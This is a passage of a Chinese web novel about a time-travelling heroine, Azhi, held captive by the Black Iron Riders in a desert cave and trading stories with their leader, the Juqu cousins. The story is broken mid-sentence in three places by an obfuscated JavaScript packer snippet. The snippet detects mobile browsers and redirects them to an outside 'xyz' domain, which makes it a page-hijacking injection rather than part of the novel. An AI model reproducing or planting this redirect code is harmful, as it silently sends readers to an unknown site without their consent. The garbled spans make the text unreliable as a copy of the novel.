半晌杀戮,奴隶贩子的伤亡最为惨重。黑铁骑向来求财又害命,凡是被他们看中的商旅,很难有活口。凡是证明不了身份的,一律抹了脖子。贵族打扮的人都吓破了胆,他们也想冒充王室,奈何这些人对西域三十六国了若指掌,说不出个身份的,终究难逃一死。 眼看着,上百的队伍,已剩下不足十人。 周围堆满昨夜一起唱歌跳舞的同伴尸体,沙漠被染成了大片大片的红色,看的人触目惊心。黑衣人捉住这几人都是些破落王室,没什么价值,不过规矩就是规矩,他们不会要他们的命。 “沙漠的尽头,除了臣服,只有死亡。” 曾经暴戾的奴隶主,跪地求生:“我,我臣服,我给你们金子,我有很多……” 话没说完,黑衣人手起刀落,一刀毙命。 “你不配。”行刑人刀尖滴血,言语冷酷。 阿祇蒙着脸混在人群之中,手中的信物救了她与米耶一命,让她没想到的是,不远处奴隶们的死尸里面,竟然悄悄爬出来一个衣衫褴褛的身影。 奴隶颤巍巍地站起身子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980082|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,微弱祈求:“别,别杀我。” 黑衣人首领身材高大,阴影如同魔鬼般从阿祇身边经过,黑色的包头巾外,露出一双黑漆漆的眼睛,令人不寒而栗,让阿祇想起了初见沮渠蒙逊眼神中的杀意。他的圆刀泛着寒光,刀尖抬起小奴隶的下巴,一注鲜血顺着女孩瘦弱的脖颈流下。 阿祇抬起手臂,袖口中的弩箭对准黑衣人,沉静的声音响起:“财物全归你,不要伤人……” 黑衣人的刀尖沾着血,回头瞥了阿祇一眼,冷笑道:“杀了又怎样?” 小奴隶吓得瑟瑟发抖,圆刀架上脖子,一寸寸被逼抬起头露出惊恐的眸子。 男人话锋一转,声音带着戏虐:“不过……回鹘的公主,自然得留着。” 圆刀一松,小奴隶立刻瘫软在地。 男人来到祖慕祇面前,阴恻恻轻轻拨开她的弩箭,阿祇没有冲动反抗,他扯下她的头纱仔细端详女人眉眼,额间一朵优昙花钿。 “果然如此。”男人冷笑,如同被毒蛇盯上一般,阿祇没有任何举动,黑衣首领问道:“该称呼你辛夫人?还是伽蓝公主?” 阿祇的袖箭被人卸去,寡不敌众,硬碰硬没有任何意义,看到眼前这双与沮渠蒙逊有几分相似的眼睛,她大概猜出了这人是谁,讽刺道:“卢水胡少主,什么时候做起了抢劫大漠的买卖?” 对方没想到她竟认出他们的身份,看来那小子和这个女人交情匪浅。 他一言不发地拉下面巾,露出与沮渠蒙逊七分相似的面容,不同于蒙逊修罗般的硬朗线条,这人阴恻恻的眼神让人不安,他半边蓄发半边剃光,左耳带着金环,冷冷挥了挥手,让几个黑衣人绑了幸存的人。 白月喷出一口气,警惕地原地踏着四蹄,彷佛等主人一声令下,便能连日连夜地带她奔跑,穿越广阔的沙漠。然而,阿祇没有逃跑的意思,无谓的挣扎不如见机行事,她还得护着米耶,只能强装镇定,手心却早浸出了汗。 她看出黑铁骑并不会要她们的命,便壮着胆说:“只要阁下放过我们,财物尽请拿走,于阗、回鹘、疏勒王室还将欠黑铁骑一个人情,日后若有所求,事必躬亲。” “别自作聪明。” 黑衣首领对她的提议置若罔闻,打了一个胡哨,百十人的队伍有条不紊地收拾货物金银,包括幸存的人质,也被绑在抢来的驼队后面。女人们在最后,前面的阿扎提就不幸了,被拖拽着踉跄几步,摔在沙丘上吃了一嘴沙。 阿扎提苦求道:“求求你们,我的腿受了伤,能不能赏赐本王子匹骆驼?” 阿祇心里默默叹气,与冷血的杀手为伍切记摆正姿态,阿扎提恐怕要吃苦头了,只听啪的一声,阿扎提惨叫着,后背被鞭抽出一道血痕。 “不想死就闭嘴。”一个黑衣人下手又稳又狠。 那些黑衣人没有对王室贵族下杀手,却也没手下留情,对愚蠢找死的人不会留什么仁慈。 阿祇、米耶和小奴隶被绑在最后,得逞的黑铁骑收拾好战利品,另外派人绑着这些俘虏,努尔跟着阿祇和米耶,黑铁骑没有难为她们,众人跟着驼队逆着沙丘向远山的方向行进,阿祇凭着太阳的方位辨认出她们在朝东南方走,脚下的软沙越来越硬,一个时辰不到就来到戈壁滩,居然有小溪流淌,这里很可能是尼雅河的支流。 太阳快要落山,黑铁骑终于停了下来。 阿祇吃惊眼前景象,原来沙漠中的强盗真的都有一个藏宝巢穴。 45. 芝麻开门 这片不大不小的洞穴隐藏在崖壁之中,崖壁不高,像是裂谷形成的断层,风吹过犹如鬼声呜咽,夜风中显得阴森恐怖。 崖壁不远处有水泽,滋养着胡杨树和灌木。 阿祇被押解着路过,蹲下身手指沾了这片小湖泊的水,放在嘴里一尝,微咸的。她回忆地图,继续向东是楼兰,向北则通往精绝。这片湖就是南方正在消亡的盐泽,也就是后世所说的“罗布泊”。 她的精绝之行计划,怕是又要耽搁了。汩汩的塔里木河、孔雀河、车尔臣河给这片湖泊带来了生机繁荣,频繁的改道给依靠这片水源为生的楼兰,屡次带来灭顶之灾,相比之下,由南向北贯通尼雅河的大漠明珠——精绝古城,却异常坚强地存活下来。 这个强盗老巢,可能是黑铁骑在大漠的暗站,依地势岩层里外凿刻了不少窑洞,牲畜们被串成一串,被关在盐泽沿岸的绿地,可怜的西域贵族路上被拖拽,又像畜生一样被关进窑洞里,事实上还不如那些骆驼马匹,至少它们是自由的。中原乱战,西域也流年不利,原本好端端的诺鲁孜节贵客,几个月来屡屡成为阶下囚。 女人们被扔在上层的窑洞里,黑衣人留下了些水罐和吃食就走了。 阿祇取水,她总感觉有一双眼睛始终在黑暗中盯着自己。 米耶小声对她说:“阿秭,咱们要不要趁夜逃跑?” 阿祇按住她紧抓她的手,摇摇头小声说:“有人盯梢,现在不是时候。” 她想到善爱和沙迦阿兄,很可能也是被这些人带走的,一个大胆的想法出现在她脑海里:沙迦牟韦和善爱的失踪,莫非也因王室身份?那会不会也被关在这里?米耶猜不透她的心思,强装镇定。她看了眼不远处,捧着水正狼狈地喝水的小女奴,有些不悦:“喂,怎么不说一声就抢水?” 阿祇随身带有水囊塞给米耶,看了眼狼狈的女奴,不忍心道:“米耶,她过得不易。” “阿姊……她。” 阿祇捡起一块馕,撕开半块给米耶,将另外半块放在女奴跟前。 小女奴缓解了口渴,接过吃食,看着阿祇说了声:“谢谢。” 她一个人轻咬干巴巴的馕,竟吃出了一丝优雅的感觉。阿祇看了看门口,没有黑衣人把守,那些人对她们监管没有男囚严格,女孩乱蓬蓬的头发下有一双蓝色的眼睛,她掰下自己手中的食物递给阿祇,嗫嚅道:“你也吃。” 阿祇接过,微笑说:“你叫什么名字?” 女孩回答:“舍蓝蓝。” “很美的名字。” 阿祇又问:“你是回鹘的公主?” 女孩默默摇头,迟疑了一下才说:“我的母亲是回鹘公主,我的阿达是……于阗人。” 阿祇疑惑,“那你怎么沦落成了奴隶?” 舍蓝蓝停下咀嚼,长长的睫毛盖上那双大眼睛,脏兮兮的脸蛋有欲言又止的迟疑,说:“我被卖给了人贩子。” 阿祇觉得她的故事应该没有这么简单,“那你家里人肯定在找你。” 舍蓝蓝摇摇头,“家里没人了。”她语气绝望地说:“我的阿达说过,和田城早晚会像鄯善一样被天谴吞噬,他让我远走高飞不要回去,卖我的虽然是仇人,但如果阿达还活着,我的命运也差不多是如此。” 阿祇不信有这么狠心的父母:“父母之爱为子女计深远,你母亲是回鹘公主,既然愿意下嫁你的父亲,那他肯定有过人之处。” 舍蓝蓝不置可否,默默低头喝了口水。 “蓝蓝,黑铁骑的人是如何认出你的身份的?” 舍蓝蓝摘下毡帽偏过头,破破烂烂的衣衫与狼狈的面容,几乎看不出本来的容貌,胳膊上还有伤痕,露出的脖颈后面有半块刺青,刺青貌似鹘鹰的图腾,若不是她衣服破烂,又被黑铁骑削去了半截长发,还真不容易被发现。 阿祇好奇,“这是什么?” “我母亲在我出生时刻下的回鹘王族族印,她也有。” 舍蓝蓝略显暗沉的脸上眼窝深陷,红褐色的头发再次藏在破旧的毡帽里,半隐的刺青有种神秘气质,她怯生生地问:“你们都是从于阗来的?” 阿祇看出她的急切,爽快说:“是。” 舍蓝蓝眼圈泛红,吞吞吐吐地问:“听说女王登基,诺伊都尉死了是真的么?” 阿祇并不知晓空棺的内情,也没有怀疑舍蓝蓝的身份,于是据实相告:“不错,青石王陵的大丧上,死了很多人,包括诺伊。” 舍蓝蓝不再说话了,朝于阗的方向跪下用于阗语祷告。阿祇当她怀念故土,便也默默陪她追悼,口中不经意唱出大丧祭台上为于阗王吟诵的安魂往生咒: “西方世界涌香云, 香雨花云及花雨, 为阎浮提苦众生, 作大证明功德主, 是命终人, 念念之间, 望诸骨肉眷属, 无量菩提之心。 唯愿世尊慈, 自今已后, 勿履是道, 永得安乐。 ……” 她没有留意到舍蓝蓝的眼睛猛然睁开,这是舍都罗王室才会唱的安魂曲。 众所周知,于阗只有一位公主——阿依夏木。她起初怀疑所谓“伽蓝公主”不过是无中生有,用来保命,没想到阿依夏木竟真的有姐妹?祖慕祇,若你也是于阗王室,舍蓝蓝的瞳孔变得幽蓝,慢慢浮现出恨意。 歌声结束,阿祇睁开眼睛,只见一个黑衣人出现在门口,“于阗的公主?首领要见你。” 米耶挡在阿祇面前,黑衣人抽来几鞭子,连带着女奴也被打,舍蓝蓝早已伤痕累累,她疼痛地呜咽抱着头蜷缩在角落,不敢抬头。阿祇制止黑衣人,喝道:“我跟你们走。” 众目睽睽之下,黑衣人带着孤身的女子走出窑洞。 崖壁的沟壑通道犹如地狱的入口,旁边黑洞洞的牢笼里有无数双眼睛在注视着纤细的女子,一步步走向他们恐惧的方向,阿祇在走过不知有过第几个洞窟前,牢笼的栅栏忽然伸出一只苍老干瘪的手,颤巍巍地指向她,一张被风干的恐怖面容浮现,吓了阿祇一跳,分不清男女的声音随风飘来。 “春日太阳升起时, 丰盈尼雅之水, 天神派下他的女儿, 降生祖慕海。” 这人说的是吐火罗语,阿祇听后浑身一颤,这是她第二次听见这首预言。第一次正是她穿越而来的那天遇见善爱,她对自己说出这些属于精绝秘辛的预言。阿祇寻找着声音的来处,可惜那张脸又隐藏在了黑暗深处,她被身后黑铁骑的士兵催促着,只好继续前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991667|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行。 很快,人就来到崖窟最高处的石门前。 她嘴角一抽,心中默念:芝麻,开门吧…… 天随人愿,石门果然缓缓开了。 当她迈进岩洞,火把将里面照得通明,看到无数珍宝金银散落在通道两侧,还有硕大的夜明珠,中原的瓷器,波斯的古玩,绫罗绸缎,应有尽有。岩洞里通风良好,温度适宜,顶上还有天然的采光口,这里是奢华的藏宝洞,同时也是恐怖的受刑处,一个深不见底的洞穴在岩洞深处,若走近看阿祇一定会被无数刀锋装饰的洞壁所震撼,掉下去的人先要经受千刀万剐,才能坠入深渊。 夜明珠下宽大舒适的石床上铺着名贵的狮皮,一个高大威猛的男人端坐其上正在擦拭武器。 他是沮渠男成,半边头编着发辫,半边头剃光发丝刺着纹路,斜眼透露着傲慢的阴鸷。他与沮渠蒙逊有七八分相似,身旁有酒有肉,等他擦干净兵刃,抬头冷声道:“过来。” 阿祇脑中翻腾,快速思索着逃跑或反抗的可能性,男人锃亮的圆刀抬起她的下巴,说:“女人该怎么伺候男人,别说你不懂?”气氛要朝最糟的情况发展,阿祇脑子飞速运转。 未待男人伸手,阿祇腹中忽的一阵饥肠辘辘,危险时刻瞬时变得怪异,咕咕声阿祇忍不住老脸一红,捂上肚子,有时候肚子比脑子反应更快。 “不好意思,我有点……饿。” 黑衣首领微愣,看她尴尬多过害怕的神情,旋即大笑。 阿祇走了整日滴水未进,黑衣人给她们的残羹冷炙大半分给了舍蓝蓝和米耶,自己没来得及吃上一口就被抓来这里,怎会不饥肠辘辘?她语气真挚地说:“吃不饱肚子没力气,人之常情。” 男人大笑,“辛夫人确实有意思。” 男人半露着胸膛散发着征服欲的气息,阿祇的目光扫过他的兵刃,落在他身后烤架上一块烤肉上,正滋滋作响,香味扑鼻。 她淡定地抬起头,强装镇定,“虽与于阗女王有点交情,但关于辛夫人传闻纯粹一场误会,少主可叫我阿祇。” 他端起阿祇的下巴,“你是沮渠蒙逊的心头好,可惜了你这张脸,凡他之所喜,我都憎恶。” 阿祇干笑,“呵呵好说,我可以蒙上脸。” “哼,巧言令色。沮渠蒙逊为了你运送粮草拖延军令,竟求了大单于让黑铁骑去救你。”他一把匕首刺到了一块烤肉上,凑近她说:“我要是抢了他的女人,你说沮渠蒙逊会怎么样?” 他还能怎样?死伤疼痒,反正都是在自己身上。 “怎么不说话了?”沮渠男成眉毛一挑。 “饿,没力气。”阿祇认怂。 男人微愣,没想到美人不是花容失色,还能有这样的反应,他冷笑着说:“你心中腹诽,我行事如匪,罪大恶极,对吗?他既然看重你,我不如好心送你的尸首过去给他。”阿祇后背冷汗直冒,“听说卢水胡男成少主执掌黑铁骑,令人十分佩服!至少不会送个饿死鬼吧。” 沮渠男成邪魅地笑着,“继续说……” 阿祇求生欲很强,“沮渠蒙逊骗走和田城百姓粮食,弃我而去,非君子所为,男成少主既知我的身份,留个活口,总比浪费个有价值的筹码更好吧?” 沮渠男成突然大笑,没错,他需要筹码,很多筹码。 46. 周旋 吕光逐鹿西域,凉州大乱,卢水胡终于等到成大事的契机。 卢水胡的匈奴单于沮渠罗仇没有子嗣,唯二的子侄沮渠蒙逊和沮渠男成各有所成,都是王位最有竞争力的人选,尤其是大少主沮渠男成,一直是卢水胡最神秘的精锐——黑铁骑的首领,他手段狠辣心思诡谲,对女人有天生的掌控欲,因此眼前的祖慕祇对他来说也不过是一副美丽的皮囊而已。 沮渠男成斜着眼睛看了女人一眼,鼻子哼了一声:“沮渠蒙逊看上的女人,也不过如此。” 他扔过去烤肉上的刀,给了阿祇一个眼神,“放心,许你不做饿死鬼。” 阿祇心中一喜,道:“多谢少主。” 她站起身走到烤肉架处,捋了捋衣袖卷起长发,袖弩早已被黑铁骑收走,怀中的一小袋香包还在,里面装着她随身携带的香料,其中就有盐巴、胡椒和迷迭香,虽然没有黄油,但不影响她的烤肉手艺,火候不错,不一会儿烤肉的香气弥漫开来。 阿祇用锋利的匕首片下一块焦嫩的肉片,撒上香料送到男人面前,他一口吃下,眼睛一亮,“味道不错,怪不得蒙逊对你念念不忘。” 说到沮渠蒙逊,阿祇恨得牙痒痒,此时不拉踩,更待何时。 阿祇桀骜地问道:“西域之行,沮渠蒙逊前与征西军有勾结,后联合玄玉阁和于阗的势力,不战而胜,还抢了不少粮草,想来在卢水胡单于面前立了大功。男成少主棋差一招,不忧虑么?” 沮渠男成危险地靠近她,威胁道:“我今日不杀你,不是因为你杀不得,做好你筹码的本分。” 阿祇眨动了一下眼睛,“不劳少主费心,我筹码的本分,体现在我在别人那里的用处。至于烤肉和聊天嘛,算附赠价值。”阿祇拿出舍蓝蓝送她的沙棘果,挤出汁水在肉上,酸酸甜甜的让肉质更加鲜美,肉香四溢,她顺手片下娇嫩多汁的部位,自己大快朵颐起来。 沮渠男成眼色一沉,正要发飙。 阿祇又道:“少主不想杀我,养的好,也是筹码的本份。” 阿祇大概摸透沮渠男成的脾性,他对女人有掌控欲,喜欢女人的臣服,在她的身份还有利用价值之前,只要投其所好软硬皆施,某种程度上沮渠男成比沮渠蒙逊好哄,她笑呵呵地赶紧给他分了一块烤肉,“沙棘果补脾健胃,活血散瘀,阿祇刚刚替少主试过味道,少主尝尝可喜欢?” 沮渠男成瞥了着她,别的不提,她这做饭手艺真是不错。 他靠坐在兽皮上并不急色,嗅觉、听觉、视觉得以享受,一时没再提“伺候”的事儿,传闻中伽蓝公主是李氏玄郎君的夫人,出身士族“陇西辛氏”,如此的市井气,倒不像汉人贵女的做派。 沮渠蒙逊看上的人妻,不是简单的愚蠢虚荣和美貌,这样新鲜的中原女子他还未曾试过。 沮渠男成心中一动,眼神变又不老实起来。他举起酒袋,满饮一口靠近她,如对付部落里的女人一般有意以口度之。阿祇手中的小刀突然翻飞,手脚麻利地给削下美食,大口吃得满嘴油脂,她舔了舔手指,打了个嗝,问:“有水吗?” 沮渠男成嘴角一抽,往后一靠,拿起水囊扔在她面前。 她喝了几口,“少,少主可要助兴?” 身旁的男人挑起眉,阿祇不等他回答就自曝其短,“可惜唱歌、跳舞……我都不会。” 西域美女大多能歌善舞,即便中原的娘子也无以擅做饭诵经为荣,沮渠男成脸色有些古怪,再次质疑起沮渠蒙逊的品味。于是,沮渠男成问:“那你会什么?” 阿祇认真地想了想:“我会做饭,诵经,抄书,还有……讲故事,长夜漫漫,男成少主,可有兴趣边吃边听?”女子的声音好听宛转,烹饪刀法漂亮,身穿粗布素衣的女厨悠然自得,这样识趣的女子在他印象里着实不多,看来这个“伽蓝公主”也有可取之处。 沮渠男成换了个姿势,嘴角一翘,“说来听听。” 阿祇大概觉得沮渠男成不会欣赏她的优点,随便说了一个:“沮渠王和窦宪的故事,少主听说过吗?”卢水胡也被称之为南匈奴,他们族中没有史官,燕然勒石的典故大多口口相传,沮渠男成表面上不置可否,其实真的有了些兴致。 “祁连山下的卢水湖畔,有北方八郡最勇猛的月氏后裔,三百年前曾与东汉车骑将军窦宪,稷落山大败北匈奴单于,迫使北匈奴出塞三千里,沮渠王师征荒裔,平定北凉大漠。” 沮渠男成冷眼看她,“我卢水胡大败北匈奴世人皆知,你就说这个?……无趣。” 阿祇笑着说:“少主别急,我要说的是关于车骑将军窦宪的轶事。当年,车骑大将军窦宪的七世祖乃是窦太后之弟,不过这个窦宪,年轻时却是个纨绔,侵夺沁水公主的园田,刺杀过当朝的太后的幸臣,后来害怕被杀,所以才自请出兵北伐匈奴以赎死……” 洋洋洒洒,阿祇讲以前大学时候读过的野史,加上卢水胡祖先与乌桓、羌胡、汉人,集结十万大军出塞取敌首数万的丰功伟绩,添油加醋地杜撰讲给男人听。两人聊着故事,沮渠男成喝着酒,时而竟捧腹大笑,不知不觉地时光飞逝,这一夜总算熬了过去。 不知何时,阿祇和沮渠男成都趴在兽皮上东倒西歪地睡着了。 大漠昼长夜短,没多久东方已见曙光。 石门被打开,有黑衣人出入,阿祇瞬间醒来。 沮渠男成挥了一下手,让黑衣人先下去。 他摸了她的脸,手下忽一用力捏住她,道:“还装睡?别以为逃过昨夜,今日我就会放过你。” 她认真地对沮渠男成说:“欲听后事如何,下回分解?”沮渠男成看着那双眼睛好似璀璨星河,闪闪动人,他不想承认大鱼大肉多了偶尔清粥小菜,这么幼稚的过夜好像也不错。 他用力扯她一把,把她拉了起来,道:“本少主还有事,你可以留下来,要么滚回去。” 阿祇揉了揉有些麻木的腿脚,勉强起身向沮渠男成行了个礼,“立刻滚回去。” 沮渠男成差点气个仰倒,喝止她:“你,为什么一个人?” 阿祇不解,瞪大着眼睛看他。 “沮渠蒙逊说你是他的女人,本少主以为,无论是作辛夫人、于阗伽蓝公主,都比你一个人在大漠流浪要好上许多,莫非你钟情沮渠蒙逊,所以才一个人混在商队中出走?”沮渠男成以为自己很懂女人,可瞧着这个女人在他面前变着花样周旋,好像吊着他又不是他想要地那种,从看好戏的心态到如今,竟有些不懂了,“权势,男人,究竟哪个是你想要的?” “有权势,当然很好;男人,亦可有可无,我并不是为了沮渠蒙逊才出走的,活在这个世上,还有更重要的东西。” “对你来说,什么是更重要的?” “海阔天高,更重要的,有时是家人安康,有时是自由自在,有时是游历解惑,有时是寻至归处……这世上我心悦向往的千千万万,较之权势男人,哪一个不更可贵?”此时的沮渠男成难得有几分真诚,阿祇也认真地回答了他,“男成少主手中,也有我视之珍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14994867|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵的东西。” “哦?是何?” 阿祇萌生希冀,道:“两个人的下落。” 沮渠男成冷笑,“你现在只是筹码,还没有谈判的资格。女人在我这里用处不多,伽蓝,别让本少主失望。” 阿祇心中复杂,却也只能打起精神,道:“伽蓝,必不负所望。” 他选了“伽蓝公主”称呼她,其实无论何种身份,她只要对他有用暂时就不会有什么危险。与沮渠蒙逊的瓜葛,利用得当,或许不一定是沦为炮灰的牺牲品,毕竟历史上这两位堂兄弟不合,从首领之争到北凉王位,终究是不死不休。 看着她远去的身影,沮渠男成不知为何,心中竟嫉妒起沮渠蒙逊。 一大早,当米耶看到阿祇平安归来,总算放了心。 黑铁骑随即而至,阿祇很快发现了白月和努尔的身影,来人大喊:“少主赏你们的。” 米耶开心不已,稍后迅速神色复杂地看向阿祇。黑铁骑的善心大发,定是念在她辛苦一夜讨好沮渠男成的份上,米耶越想越歪,干脆抱着阿祇哭了出来,“阿秭……”却再说不出什么别的话。 舍蓝蓝木讷地藏在米耶身后,不发一言。 阿祇说了一夜的故事甚是口渴,随便安慰一句:“我没事。”这在米耶看来就是隐忍,认定阿秭吃了亏,哭得更厉害了。 阿祇实在口干,哑着嗓子打断她:“有水吗?” 米耶总算反应过来,拨开舍蓝蓝,在她身后找出水袋送到阿祇面前,“阿秭,快喝点水。” 米耶瞪了一眼舍蓝蓝,舍蓝蓝是个闷葫芦,昨夜缩在角落竟然睡着了,果然是个没心没肝的人。 日升日落,她们在黑铁骑的崖洞里已经数日…… 阿祇和米耶等女人被允许去河中洗漱,她们被关在这里几日,总算得到了一些女人的特权。 盛夏时节,黑铁骑经常昼伏夜出。酷热长日,沮渠男成只要不出门就经常叫伽蓝公主到身边“伺候”,其实就是陪他说话,供他驱使,好在没再让她脱过衣服,两人的相处模式有些玄妙起来,像幼儿园的老师和最让人头疼的孩子,除了做美食照料男成的起居,还得哄这个邪神开心,沮渠男成爱听匈奴祖先的故事,野史她不敢乱编,正史她所知有限,时间一长,心越发慌。 这日,黑铁骑营地迎来了一位不速之客。 米耶她们在不远处生火做饭,阿祇换洗衣裳后,穿着楼兰透气的棉麻长裙,将自己裹得只露双眼睛,阿祇现在的样子有多可笑她是知道的,黑眼圈和沙哑的喉咙,努尔陪伴在侧,她半靠在白月身上昏昏欲睡。 “白月,努尔,你们一定记住回去的路……” 白月高冷,鼻子重重出了一口气,像是不满新主人对它的怀疑,这种情绪好像从于阗外的驿站就开始了。阿祇温柔抚摸白月的毛发,无可奈何地说:“我知道,你更喜欢以前的白色毛发,可是这个新发色也不错呀,焦糖色,秋冬最迷人最温柔的色彩,这在千年后可是最时尚的潮流。” 白月嚼着草,仍对阿祇爱答不理的。 一旁,努尔激灵睁开眼睛,有些骚乱动静从远处传来。 努尔猛地竖起耳朵,一阵哆嗦,哼哼唧唧地溜得极快。 “努尔,你去哪?” 这狗子这样害怕的,除了上次的狼王,就是…… 想到这里,阿祇心中一惊,连忙闭上眼睛装睡,本来就需要养精蓄锐,这几日经常连续熬夜不能合眼,但她更怕招惹的是另一个修罗煞星。 47. 为你而来 旁边有脚步声停下,她感受到有人站住她身边。 来人不说话,被人盯着的感觉有些难受,阿祇打算当木头人。半晌尴尬的寂静,终于冰冷的声音响起,“祖慕祇。”阿祇保持沉默,传达你认错人了的态度。 来人蹲在她身边,一只手拉下木头人的伪装长衫,露出那张装睡的小脸,半天没有动静,阿祇再也装不下去,睁开一只眼睛,看到放下兜帽的那张熟悉的脸。一月未见,这人额上还有她缝补的伤疤,干裂的唇忍着毫不掩饰的笑意,狭长的褐瞳凝视着她咧嘴一笑,正是乖张莫测的沮渠蒙逊。 沮渠蒙逊开口就问:“吃亏了吗?” 阿祇懒得理他,叹气道:“关你什么事?” 高大的身影靠过来,蹲在她身旁,“你在气我?” 阿祇裹了裹身上的衣裳,淡淡说:“你想多了。” 她是觉得自己和沮渠蒙逊天生相克,跟他扯上关系准没好事,如果没有遇见他,说不定她早已在去往精绝的路上了,如今又扯上沮渠男成,莫非命运在考验她躲避成为炮灰的技巧? 沮渠蒙逊难得对女人说话如此有耐心,“我急着回河西复命,来不及告别,情非得已。” 阿祇风轻云淡的应了一声。沮渠蒙逊忽然贴着阿祇躺下,自然地将头枕在她的腿上,松了口气说:“其实吃亏了也不要紧,谁敢欺负你,我杀了他便是。” “不必麻烦,人若欺了我,我也不会要死要活的。” “如此甚好,总之有我。” 阿祇推不开这个疯子,“你在魔鬼城被人追杀,是沮渠男成干的吧?” 弹指敲在她的额头,沮渠蒙逊紧接着又在她的额间亲了一口,动作一气呵成,由怒转喜:“脑子还在,看来没被人骗了去。” 阿祇一拳打去,被沮渠蒙逊一招化解。 沮渠蒙逊风尘仆仆的样子确实有点狼狈,他抓着她的手放在唇上,长出来的胡茬蹭得阿祇手疼,他语气从未有过的柔软,“乖,让我歇会。” 任凭女子如何气急,他紧紧握着她的手,懒懒地闭上眼睛。阿祇气结,她连续刺探几日,都没探清这个黑铁骑的岩洞秘密,便想推醒他问:“先别睡,善爱和沙迦牟韦是不是被关在这里?” 沮渠蒙逊往她身上蹭了蹭,不似假扮大祭司时的冷酷,在黑铁骑的地盘他收敛锋芒,显出几分纨绔的慵懒,犹如放荡不羁的野性少年。 他说:“在过。” 阿祇糊涂,“在过?那人呢?” 他微睁开眼睛,见阿祇忧心忡忡的脸,就知道沮渠男成没让阿祇得逞。虽然他们部落没有对女人贞操的苛求,但沮渠蒙逊有些小庆幸,沮渠男成十分自负,在某些方面不喜强迫女人,却对投怀送抱的并不反感。蒙逊心情不错,问:“沮渠男成难道没告诉你?” 阿祇很丧气地说:“你的堂兄和你一样……”她忍住后半句的咒骂。 沮渠蒙逊枕着她换了个姿势,眼神充满占有欲,道:“我和他不一样。” 沮渠蒙逊很久没有这么放松了,破天荒的不再卖关子,说:“黑铁骑确实抓到过那对男女,但他们已经不在盐泽魔窟了,这里没有你要找的人。” 原来这里叫盐泽魔窟。 阿祇很是惊喜,“他们都还活着?” 沮渠蒙逊皱眉不语,其实他不敢保证。 以黑铁骑的行事作风,弊大于利的买卖他们向来利落地割舍,沮渠男成大概是和人做了交易,那个沙迦牟韦的身份是精绝王室,但那个女的受了重伤,沮渠蒙逊上一次来此“祭祀”的时候,就已不见女人的踪影。 阿祇始终抱有一丝希望,善爱对精绝故土有执念,她一定会回去。 于是,她问沮渠蒙逊,“我想去精绝,你能帮我逃跑吗?” 沮渠蒙逊断然拒绝,“异想天开。” 阿祇把沮渠蒙逊推下膝头,“沮渠蒙逊,你来这里到底为什么?” 沮渠蒙逊见她动怒,随便捡了一根小草,往她的鼻子上招呼,“我日夜兼程地为你而来,难道你就一点不感动?”阿祇用手扫开了狗尾巴草,皱着鼻头躲开他,“你不觉得,你跟我交浅言深了?” “哪里交浅了?你没穿衣服的样子我都见过……” “闭嘴!”阿祇怒道。 采玉祭不穿衣服的人多了,她可不是被贞洁束缚的古代闺秀。沮渠蒙逊假冒大祭司混进于阗勾结诺伊,引狯胡王星夜火烧拂云殿,这事情闹开卢水胡的匈奴部落只会引火上身。 沮渠蒙逊靠近她,温热的气息扑面而来,“祖慕祇,说你心悦我,我就帮你。” “沮渠蒙逊,你够了。” 阿祇有近身擒拿技巧,又被米耶教了刀法,经过专业训练反应一流,见他靠近,一出手抓住沮渠蒙逊就地打了个滚,位置互换,反手就按住他的下巴,圆刀已经架上他的脖子。 沮渠蒙逊嘴角一翘,“手段见长。” 沮渠蒙逊任她威胁,被她圈着也不反抗。脖子被她抓出两道血迹,干裂的嘴唇也有血丝,他舔了舔嘴唇,眼神黝黑明亮,凑近在她耳畔说:“我就喜欢你这个样子。” 沮渠蒙逊觉得阿祇是自己看上的女人,护着她,宠着她天经地义,被自己的女人抓了挠了也是情趣。阿祇出手动作不怎么好看,胜在敏捷,下手也够狠,他很骄傲。 阿祇不悦地踢开他,正要踩上他的手…… 啪啪啪,远处有拍掌声响起。 沮渠男成拍手而来,身后有个瘦弱的奴隶一晃而过,谁也没留意,因为男成长在阿祇身上的眼神实在令人生厌,“蒙逊,原来你喜欢像野骆驼一样的女人。”野骆驼耐寒抗暑又有韧性,本来没什么不好,但从沮渠男成嘴里说出来,沮渠蒙逊就十分不悦了,“我的女人,无需你多言。” 说完,沮渠蒙逊故意赖在她身上。 沮渠家的少主都有异域男人的深刻长相,挺拔俊美,男成和蒙逊是堂兄弟,但比起沮渠蒙逊修罗般的邪魅,沮渠男成眉眼多了一丝阴郁狡诈,还有一点鹰钩鼻。沮渠蒙逊摆出轻浮的神情,突然卸了力道,阿祇反手勒住他,身体亲昵引人遐想。 